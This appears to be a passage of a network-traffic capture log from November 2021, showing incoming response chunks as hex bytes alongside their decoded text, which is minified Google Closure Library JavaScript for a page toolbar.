74 63 68 28 65 29 7b 50 66 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 65 29 7d 6c 66 28 42 66 2c 62 29 7d 3b 4f 66 3d 66 75 6e 63 
74 69 6f 6e 28 61 2c 62 2c 63 29 7b 32 3d 3d 62 3f 61 2e 41 2e 63 61 6c 6c 28 61 2e 63 6f 6e 74 65 78 74 2c 63 29 3a 61 
2e 6f 26 26 61 2e 6f 2e 63 61 6c 6c 28 61 2e 63 6f 6e 74 65 78 
Data Ascii: s.F);this.D=!1};If=function(a,b,c,d){if(3==c&&b.o&&!b.B)for(;a&&a.C;a=a.A)a.C=!1;if(b.j)b.j.A=null,Of(b,c,d);else 
try{b.B?b.A.call(b.context):Of(b,c,d)}catch(e){Pf.call(null,e)}lf(Bf,b)};Of=function(a,b,c){2==b?a.A.call(a.context,c):a.o&&
a.o.call(a.contex

2021-11-25 17:33:43 UTC 412 IN Data Raw: 22 29 26 26 28 61 3d 61 2e 72 65 70 6c 61 63 65 28 59 66 2c 22 26 23 30 3b 22 29 29 7d 72 65 74 75 72 6e 20 
61 7d 3b 5f 2e 62 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 2f 5e 5b 5c 73 5c 78 61 30 5d 2a 24 2f 2e 
74 65 73 74 28 61 29 7d 3b 0a 63 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3c 62 3f 2d 31 
3a 61 3e 62 3f 31 3a 30 7d 3b 5f 2e 64 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 30 3b 61 3d 28 
30 2c 5f 2e 6a 62 29 28 53 74 72 69 6e 67 28 61 29 29 2e 73 70 6c 69 74 28 22 2e 22 29 3b 62 3d 28 30 2c 5f 2e 6a 62 29 
28 53 74 72 69 6e 67 28 62 29 29 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 4d 61 74 68 2e 6d 
61 78 28 61 2e 6c 65 6e 67 74 68 2c 62 2e 6c 65 6e 67 74 68 
Data Ascii: ")&&(a=a.replace(Yf,"&#0;"))}return a};_.bg=function(a){return/^[\s\xa0]*$/.test(a)};cg=function(a,b){return a<b?-
1:a>b?1:0};_.dg=function(a,b){var c=0;a=(0,_.jb)(String(a)).split(".");b=(0,_.jb)(String(b)).split(".");for(var d=Math.max(a
.length,b.length

2021-11-25 17:33:43 UTC 414 IN Data Raw: 70 65 6f 66 20 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 72 65 74 75 72 6e 
20 61 3d 3d 62 7c 7c 21 21 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 26 31 
36 29 3b 66 6f 72 28 3b 62 26 26 61 21 3d 62 3b 29 62 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 
62 3d 3d 61 7d 3b 5f 2e 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 72 79 7b 76 61 72 20 62 3d 61 26 26 61 2e 61 
63 74 69 76 65 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 6e 6f 64 65 4e 61 6d 65 3f 62 3a 6e 75 6c 6c 
7d 63 61 74 63 68 28 63 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 3b 0a 5f 2e 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 
29 7b 74 68 69 73 2e 6a 3d 61 7c 7c 5f 2e 75 2e 64 6f 63 75 
Data Ascii: peof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.
parentNode;return b==a};_.ng=function(a){try{var b=a&&a.activeElement;return b&&b.nodeName?b:null}catch(c){return 
null}};_.og=function(a){this.j=a||_.u.docu

2021-11-25 17:33:43 UTC 415 IN Data Raw: 29 66 6f 72 28 66 3d 30 3b 21 61 2e 6a 26 26 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 67 3d 61 2e 63 75 
72 72 65 6e 74 54 61 72 67 65 74 3d 62 5b 66 5d 2c 65 3d 71 67 28 67 2c 64 2c 21 31 2c 61 29 26 26 65 3b 72 65 74 75 
72 6e 20 65 7d 3b 0a 5f 2e 68 2e 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 51 2e 54 2e 52 2e 63 61 6c 6c 28 74 68 69 
73 29 3b 74 68 69 73 2e 43 62 26 26 5f 2e 53 66 28 74 68 69 73 2e 43 62 29 3b 74 68 69 73 2e 51 64 3d 6e 75 6c 6c 7d 
3b 5f 2e 68 2e 6c 69 73 74 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 74 68 69 
73 2e 43 62 2e 61 64 64 28 53 74 72 69 6e 67 28 61 29 2c 62 2c 21 31 2c 63 2c 64 29 7d 3b 5f 2e 68 2e 41 62 3d 66 75 6
e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 
Data Ascii: )for(f=0;!a.j&&f<b.length;f++)g=a.currentTarget=b[f],e=qg(g,d,!1,a)&&e;return e};_.h.R=function(){_.Q.T.R.ca
ll(this);this.Cb&&_.Sf(this.Cb);this.Qd=null};_.h.listen=function(a,b,c,d){return this.Cb.add(String(a),b,!1,c,d)};_.h.A
b=function(a,b,c,d){return

2021-11-25 17:33:43 UTC 416 IN Data Raw: 74 68 69 73 2e 47 62 7c 7c 28 74 68 69 73 2e 47 62 3d 74 68 69 73 2e 6a 2e 73 65 74 54 69 6d 65 6f 75 74 28 
74 68 69 73 2e 41 2c 74 68 69 73 2e 6f 29 2c 74 68 69 73 2e 42 3d 44 61 74 65 2e 6e 6f 77 28 29 29 7d 3b 0a 5f 2e 68 2e 
73 74 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 58 62 3d 21 31 3b 74 68 69 73 2e 47 62 26 26 28 74 68 
69 73 2e 6a 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 47 62 29 2c 74 68 69 73 2e 47 62 3d 6e 75 6c 6c 
29 7d 3b 5f 2e 68 2e 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 72 67 2e 54 2e 52 2e 63 61 6c 6c 28 74 68 69 73 29 3b 
74 68 69 73 2e 73 74 6f 70 28 29 3b 64 65 6c 65 74 65 20 74 68 69 73 2e 6a 7d 3b 5f 2e 75 67 3d 66 75 6e 63 74 69 6f 6e 
28 61 2c 62 2c 63 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 
Data Ascii: this.Gb||(this.Gb=this.j.setTimeout(this.A,this.o),this.B=Date.now())};_.h.stop=function(){this.Xb=!1;this.Gb&&
(this.j.clearTimeout(this.Gb),this.Gb=null)};_.h.R=function(){_.rg.T.R.call(this);this.stop();delete this.j};_.ug=function(a,b,c)
{if("function"

2021-11-25 17:33:43 UTC 417 IN Data Raw: 31 0d 0a 61 0d 0a 
Data Ascii: 1a
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2021-11-25 17:33:43 UTC 417 IN Data Raw: 38 30 30 30 0d 0a 29 7d 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 
6e 28 65 29 7d 0a 74 72 79 7b 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 
62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 
3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 78 67 2c 42 67 2c 46 67 2c 47 67 3b 5f 2e 77 67 3d 66 75 6e 
63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 30 2c 64 3b 66 6f 72 28 64 20 69 6e 20 61 29 62 5b 63 2b 2b 
5d 3d 61 5b 64 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 78 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 
75 72 6e 20 32 3e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 
Data Ascii: 8000)};}catch(e){_._DumpException(e)}try{/* Copyright The Closure Library Authors. SPDX-License-Identifier: 
Apache-2.0*/var xg,Bg,Fg,Gg;_.wg=function(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b};xg=function(a,b,c){return 2
>=arguments.leng

2021-11-25 17:33:43 UTC 418 IN Data Raw: 75 65 29 2e 72 65 70 6c 61 63 65 28 2f 28 5c 72 5c 6e 7c 5c 72 7c 5c 6e 29 2f 67 2c 22 22 29 29 3a 62 2e 70 
75 73 68 28 61 2e 6e 6f 64 65 56 61 6c 75 65 29 3b 65 6c 73 65 20 69 66 28 61 2e 6e 6f 64 65 4e 61 6d 65 20 69 6e 20 47 
67 29 62 2e 70 75 73 68 28 47 67 5b 61 2e 6e 6f 64 65 4e 61 6d 65 5d 29 3b 65 6c 73 65 20 66 6f 72 28 61 3d 61 2e 66 69 
72 73 74 43 68 69 6c 64 3b 61 3b 29 5f 2e 48 67 28 61 2c 62 2c 63 29 2c 61 3d 61 2e 6e 65 78 74 53 69 62 6c 69 6e 67 7d 
3b 0a 76 61 72 20 4b 67 2c 49 67 3b 5f 2e 4a 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 22 73 74 72 
69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 62 29 28 62 3d 49 67 28 61 2c 62 29 29 26 26 28 61 2e 73 74 79 6c 65 5b 62 
5d 3d 63 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 64 20 
Data Ascii: ue).replace(/(\r\n|\r|\n)/g,"")):b.push(a.nodeValue);else if(a.nodeName in Gg)b.push(Gg[a.nodeName]);else fo
r(a=a.firstChild;a;)_.Hg(a,b,c),a=a.nextSibling};var Kg,Ig;_.Jg=function(a,b,c){if("string"===typeof b)(b=Ig(a,b))&&(a.s
tyle[b]=c);else for(var d 

2021-11-25 17:33:43 UTC 419 IN Data Raw: 68 2c 63 3d 61 2e 6f 66 66 73 65 74 48 65 69 67 68 74 2c 64 3d 5f 2e 77 62 26 26 21 62 26 26 21 63 3b 72 65 
74 75 72 6e 28 76 6f 69 64 20 30 3d 3d 3d 62 7c 7c 64 29 26 26 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 
52 65 63 74 3f 28 61 3d 5f 2e 4f 67 28 61 29 2c 6e 65 77 20 5f 2e 65 65 28 61 2e 72 69 67 68 74 2d 61 2e 6c 65 66 74 2c 
61 2e 62 6f 74 74 6f 6d 2d 61 2e 74 6f 70 29 29 3a 6e 65 77 20 5f 2e 65 65 28 62 2c 63 29 7d 3b 5f 2e 53 67 3d 5f 2e 76 
62 3f 22 4d 6f 7a 55 73 65 72 53 65 6c 65 63 74 22 3a 5f 2e 77 62 7c 7c 5f 2e 74 62 3f 22 57 65 62 6b 69 74 55 73 65 72 
53 65 6c 65 63 74 22 3a 6e 75 6c 6c 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 
6e 28 65 29 7d 0a 74 72 79 7b 0a 2f 2a 0a 0a 20 43 6f 70 
Data Ascii: h,c=a.offsetHeight,d=_.wb&&!b&&!c;return(void 0===b||d)&&a.getBoundingClientRect?(a=_.Og(a),new _.
ee(a.right-a.left,a.bottom-a.top)):new _.ee(b,c)};_.Sg=_.vb?"MozUserSelect":_.wb||_.tb?"WebkitUserSelect":null;}catch(e)
{_._DumpException(e)}try{/* Cop

2021-11-25 17:33:43 UTC 421 IN Data Raw: 72 65 74 75 72 6e 21 31 7d 69 66 28 5f 2e 42 26 26 64 26 26 62 3d 3d 61 29 72 65 74 75 72 6e 21 31 3b 73 77 
69 74 63 68 28 61 29 7b 63 61 73 65 20 31 33 3a 72 65 74 75 72 6e 20 5f 2e 76 62 3f 66 7c 7c 65 3f 21 31 3a 21 28 63 26 
26 64 29 3a 21 30 3b 63 61 73 65 20 32 37 3a 72 65 74 75 72 6e 21 28 5f 2e 77 62 7c 7c 5f 2e 74 62 7c 7c 5f 2e 76 62 29 
7d 72 65 74 75 72 6e 20 5f 2e 76 62 26 26 28 64 7c 7c 65 7c 7c 66 29 3f 21 31 3a 5f 2e 55 67 28 61 29 7d 3b 5f 2e 59 67 
3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 0a 5f 2e 59 67 2e 4e 63 3d 76 6f 69 64 20 30 3b 5f 2e 59 67 2e 6a 3d 66 75 6e 
63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 59 67 2e 4e 63 3f 5f 2e 59 67 2e 4e 63 3a 5f 2e 59 67 2e 4e 63 3d 6e 
65 77 20 5f 2e 59 67 7d 3b 5f 2e 59 67 2e 70 72 6f 74 6f 
Data Ascii: return!1}if(_.B&&d&&b==a)return!1;switch(a){case 13:return _.vb?f||e?!1:!(c&&d):!0;case 27:return!(_.wb||_.t
b||_.vb)}return _.vb&&(d||e||f)?!1:_.Ug(a)};_.Yg=function(){};_.Yg.Nc=void 0;_.Yg.j=function(){return _.Yg.Nc?_.Yg.Nc:_.
Yg.Nc=new _.Yg};_.Yg.proto

2021-11-25 17:33:43 UTC 422 IN Data Raw: 6f 6e 28 61 29 7b 21 61 2e 42 61 26 26 61 2e 48 28 29 26 26 61 2e 45 61 28 29 7d 29 7d 3b 5f 2e 68 2e 6c 62 
3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 66 68 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 42 61 26 26 
61 2e 6c 62 28 29 7d 29 3b 74 68 69 73 2e 4d 26 26 5f 2e 68 66 28 74 68 69 73 2e 4d 29 3b 74 68 69 73 2e 42 61 3d 21 
31 7d 3b 0a 5f 2e 68 2e 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 42 61 26 26 74 68 69 73 2e 6c 62 28 29 
3b 74 68 69 73 2e 4d 26 26 28 74 68 69 73 2e 4d 2e 6e 61 28 29 2c 64 65 6c 65 74 65 20 74 68 69 73 2e 4d 29 3b 5f 2e 6
6 68 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 6e 61 28 29 7d 29 3b 21 74 68 69 73 2e 44 61 26 26 74 
68 69 73 2e 6f 26 26 5f 2e 6f 65 28 74 68 69 73 2e 6f 29 3b 74 68 
Data Ascii: on(a){!a.Ba&&a.H()&&a.Ea()})};_.h.lb=function(){_.fh(this,function(a){a.Ba&&a.lb()});this.M&&_.hf(this.M);th
is.Ba=!1};_.h.R=function(){this.Ba&&this.lb();this.M&&(this.M.na(),delete this.M);_.fh(this,function(a){a.na()});!this.D
a&&this.o&&_.oe(this.o);th

2021-11-25 17:33:43 UTC 423 IN Data Raw: 77 20 45 72 72 6f 72 28 22 53 22 29 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 
2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 
54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 
73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 5f 2e 69 68 3d 21 5f 2e 42 26 26 
21 5f 2e 66 61 28 29 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 
0a 74 72 79 7b 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 
20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 
Data Ascii: w Error("S");return a};}catch(e){_._DumpException(e)}try{/* Copyright The Closure Library Authors. SPDX-Lice
nse-Identifier: Apache-2.0*/_.ih=!_.B&&!_.fa();}catch(e){_._DumpException(e)}try{/* Copyright The Closure Library Authors. 
SPDX-Lic

2021-11-25 17:33:43 UTC 424 IN Data Raw: 61 72 20 6d 3d 21 21 63 3b 6c 3d 5f 2e 4a 65 28 6b 29 3f 6b 2e 74 65 28 6c 2c 6d 29 3a 6b 3f 28 6b 3d 5f 2e 
57 65 28 6b 29 29 3f 6b 2e 74 65 28 6c 2c 6d 29 3a 5b 5d 3a 5b 5d 3b 66 6f 72 28 6b 3d 30 3b 6d 3d 6c 5b 6b 5d 3b 6b 2b 
2b 29 7b 76 61 72 20 72 3d 6d 2e 6c 69 73 74 65 6e 65 72 3b 69 66 28 72 2e 4c 62 3d 3d 62 26 26 72 2e 7a 6b 3d 3d 64 
29 7b 65 3f 65 2e 41 61 28 61 2c 66 2c 6d 2e 6c 69 73 74 65 6e 65 72 2c 63 2c 64 29 3a 5f 2e 24 65 28 61 2c 66 2c 6d 2e 
6c 69 73 74 65 6e 65 72 2c 63 2c 64 29 3b 62 72 65 61 6b 7d 7d 7d 7d 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 
44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 
65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 
Data Ascii: ar m=!!c;l=_.Je(k)?k.te(l,m):k?(k=_.We(k))?k.te(l,m):[]:[];for(k=0;m=l[k];k++){var r=m.listener;if(r.Lb==b&&
r.zk==d){e?e.Aa(a,f,m.listener,c,d):_.$e(a,f,m.listener,c,d);break}}}};}catch(e){_._DumpException(e)}try{/* Copyright The 
Closure Library Aut

2021-11-25 17:33:43 UTC 426 IN Data Raw: 75 74 74 6f 6e 2c 62 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 29 3b 61 2e 64 69 73 70 61 74 63 68 45 76 65 
6e 74 28 63 29 7d 65 6c 73 65 20 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 26 26 61 2e 64 69 73 70 61 74 63 68 45 
76 65 6e 74 28 62 29 7d 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 
7d 0a 74 72 79 7b 0a 5f 2e 78 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 64 66 2e 63 61 6c 6c 28 74 68 69 73 
2c 62 29 3b 74 68 69 73 2e 43 3d 61 3b 74 68 69 73 2e 24 61 3d 62 7c 7c 74 68 69 73 7d 3b 5f 2e 74 28 5f 2e 78 68 2c 5f 
2e 64 66 29 3b 5f 2e 78 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 69 73 74 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 
63 2c 64 29 7b 69 66 28 63 29 7b 69 66 28 22 66 75 6e 63 74 
Data Ascii: utton,b.relatedTarget);a.dispatchEvent(c)}else a.dispatchEvent&&a.dispatchEvent(b)};}catch(e){_._D
umpException(e)}try{_.xh=function(a,b){_.df.call(this,b);this.C=a;this.$a=b||this};_.t(_.xh,_.df);_.xh.prototype.listen=
function(a,b,c,d){if(c){if("funct
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2021-11-25 17:33:43 UTC 427 IN Data Raw: 68 29 3b 5f 2e 41 68 2e 70 72 6f 74 6f 74 79 70 65 2e 41 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 
62 3b 28 61 3d 61 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 26 26 28 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 
65 4e 6f 64 65 28 22 64 61 74 61 2d 76 65 64 22 29 29 26 26 61 2e 76 61 6c 75 65 26 26 28 62 3d 7b 76 65 64 3a 61 2e 
76 61 6c 75 65 7d 29 3b 74 68 69 73 2e 6a 2e 6c 6f 67 28 33 39 2c 62 29 7d 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 
5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 76 61 72 20 43 68 2c 44 68 2c 48 68 3b 43 68 3d 
66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 5f 2e 72 65 28 61 2c 66 75 6e 63 74 69 6f 6e 
28 62 29 7b 72 65 74 75 72 6e 20 31 3d 3d 62 2e 6e 6f 64 65 54 
Data Ascii: h);_.Ah.prototype.A=function(a){var b;(a=a.currentTarget)&&(a=a.getAttributeNode("data-ved"))&&a.value&&
(b={ved:a.value});this.j.log(39,b)};}catch(e){_._DumpException(e)}try{var Ch,Dh,Hh;Ch=function(a){return null!=_.re(a,functi
on(b){return 1==b.nodeT

2021-11-25 17:33:43 UTC 428 IN Data Raw: 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 5f 2e 49 68 3d 66 75 6e 63 74 69 6f 6e 
28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 53 74 72 69 6e 67 28 61 29 7d 3b 0a 0a 7d 63 61 74 
63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 2f 2a 0a 0a 20 43 6f 70 
79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 
58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 0a 7d 63 
61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 76 61 72 20 4a 68 
3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 4a 2e 63 61 6c 6c 
Data Ascii: ntifier: Apache-2.0*/_.Ih=function(a){return null==a?"":String(a)};}catch(e){_._DumpException(e)}try{/* Copyright 
The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/}catch(e){_._DumpException(e)}try{var Jh=function(a)
{_.J.call

2021-11-25 17:33:43 UTC 430 IN Data Raw: 79 70 65 2e 69 61 3d 5f 2e 4e 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 68 3b 5f 2e 4e 68 2e 70 72 6f 74 6f 74 79 
70 65 2e 69 62 3d 5f 2e 4e 68 2e 70 72 6f 74 6f 74 79 70 65 2e 48 3b 5f 2e 4e 68 2e 70 72 6f 74 6f 74 79 70 65 2e 69 63 
3d 5f 2e 4e 68 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 69 3b 5f 2e 79 28 22 67 62 61 72 2e 4a 22 2c 5f 2e 4f 68 29 3b 5f 2e 4f 
68 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 61 3d 5f 2e 4f 68 2e 70 72 6f 74 6f 74 79 70 65 2e 57 3b 5f 2e 4f 68 2e 70 72 6f 74 
6f 74 79 70 65 2e 6a 62 3d 5f 2e 4f 68 2e 70 72 6f 74 6f 74 79 70 65 2e 58 3b 5f 2e 79 28 22 67 62 61 72 2e 4b 22 2c 5f 2e 
50 68 29 3b 5f 2e 79 28 22 67 62 61 72 2e 4c 22 2c 5f 2e 51 68 29 3b 5f 2e 51 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 61 
3d 5f 2e 51 68 2e 70 72 6f 74 6f 74 79 70 65 
Data Ascii: ype.ia=_.Nh.prototype.nh;_.Nh.prototype.ib=_.Nh.prototype.H;_.Nh.prototype.ic=_.Nh.prototype.Li;_.y("gbar.J"
,_.Oh);_.Oh.prototype.ja=_.Oh.prototype.W;_.Oh.prototype.jb=_.Oh.prototype.X;_.y("gbar.K",_.Ph);_.y("gbar.L",_
.Qh);_.Qh.prototype.la=_.Qh.prototype

2021-11-25 17:33:43 UTC 431 IN Data Raw: 28 5b 41 2d 5a 5d 29 2f 67 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 3b 5f 2e 59 68 
3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 4c 28 61 2c 62 29 7d 3b 5a 68 3d 66 75 6e 63 
74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 63 26 26 63 2e 72 65 70 6c 61 63 
65 43 68 69 6c 64 28 61 2c 62 29 7d 3b 0a 24 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 5b 5d 
3b 72 65 74 75 72 6e 20 5f 2e 47 68 28 61 2c 62 2c 63 2c 21 30 29 3f 63 5b 30 5d 3a 76 6f 69 64 20 30 7d 3b 5f 2e 61 69 
3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 3b 5f 2e 48 67 28 61 2c 62 2c 21 30 29 3b 61 3d 62 2e 6a
6f 69 6e 28 22 22 29 3b 61 3d 61 2e 72 65 70 6c 61 63 65 28 2f 
Data Ascii: ([A-Z])/g,"-$1").toLowerCase()};_.Yh=function(a,b){return _.L(a,b)};Zh=function(a,b){var c=b.parentNode;c&&c
.replaceChild(a,b)};$h=function(a,b){var c=[];return _.Gh(a,b,c,!0)?c[0]:void 0};_.ai=function(a){var b=[];_.Hg(a,b,!0);
a=b.join("");a=a.replace(/

2021-11-25 17:33:43 UTC 432 IN Data Raw: 69 64 7d 3b 5f 2e 68 2e 4c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 43 2e 69 
64 3b 61 7c 7c 28 61 3d 22 67 62 24 22 2b 5f 2e 5a 67 28 5f 2e 59 67 2e 6a 28 29 29 2c 74 68 69 73 2e 43 2e 69 64 3d 61 
29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 68 2e 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 6f 65 28 74 68 69 73 2e 43 
29 3b 5f 2e 51 2e 70 72 6f 74 6f 74 79 70 65 2e 52 2e 63 61 6c 6c 28 74 68 69 73 29 7d 3b 5f 2e 68 2e 5a 64 3d 66 75 6e 
63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 48 28 29 7d 3b 0a 5f 2e 69 69 3d 66 75 6e 63 74 69 6f 6e 28 
61 29 7b 72 65 74 75 72 6e 20 24 68 28 61 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 5f 2e 70 65 28 
62 29 26 26 5f 2e 45 68 28 62 29 7d 29 7d 3b 5f 2e 6a 69 3d 
Data Ascii: id};_.h.Li=function(){var a=this.C.id;a||(a="gb$"+_.Zg(_.Yg.j()),this.C.id=a);return a};_.h.R=function(){_.o
e(this.C);_.Q.prototype.R.call(this)};_.h.Zd=function(){return this.H()};_.ii=function(a){return $h(a,function(b){return 
_.pe(b)&&_.Eh(b)})};_.ji=

2021-11-25 17:33:43 UTC 433 IN Data Raw: 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 61 69 28 74 68 69 73 2e 6f 29 7d 3b 5f 2e 
68 2e 73 68 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 45 67 28 74 68 69 73 2e 6f 2c 61 29 3b 72 65 74 75 72 6e 20 74 
68 69 73 7d 3b 0a 5f 2e 68 2e 72 68 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 42 7c 7c 28 74 68 69 73 2e 42 
3d 5f 2e 53 28 22 49 4d 47 22 2c 22 67 62 5f 53 63 22 29 2c 74 68 69 73 2e 42 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 
22 61 6c 74 22 2c 22 22 29 2c 74 68 69 73 2e 6a 3f 28 5a 68 28 74 68 69 73 2e 42 2c 74 68 69 73 2e 6a 29 2c 74 68 69 
73 2e 6a 3d 6e 75 6c 6c 29 3a 5f 2e 54 68 28 74 68 69 73 2e 42 2c 74 68 69 73 2e 6f 29 29 3b 74 68 69 73 2e 42 2e 73 65 
74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 61 29 3b 
Data Ascii: f=function(){return _.ai(this.o)};_.h.sh=function(a){_.Eg(this.o,a);return this};_.h.rh=function(a){this.B||(this.B=_.
S("IMG","gb_Sc"),this.B.setAttribute("alt",""),this.j?(Zh(this.B,this.j),this.j=null):_.Th(this.B,this.o));this.B.setAttribute("src",a);

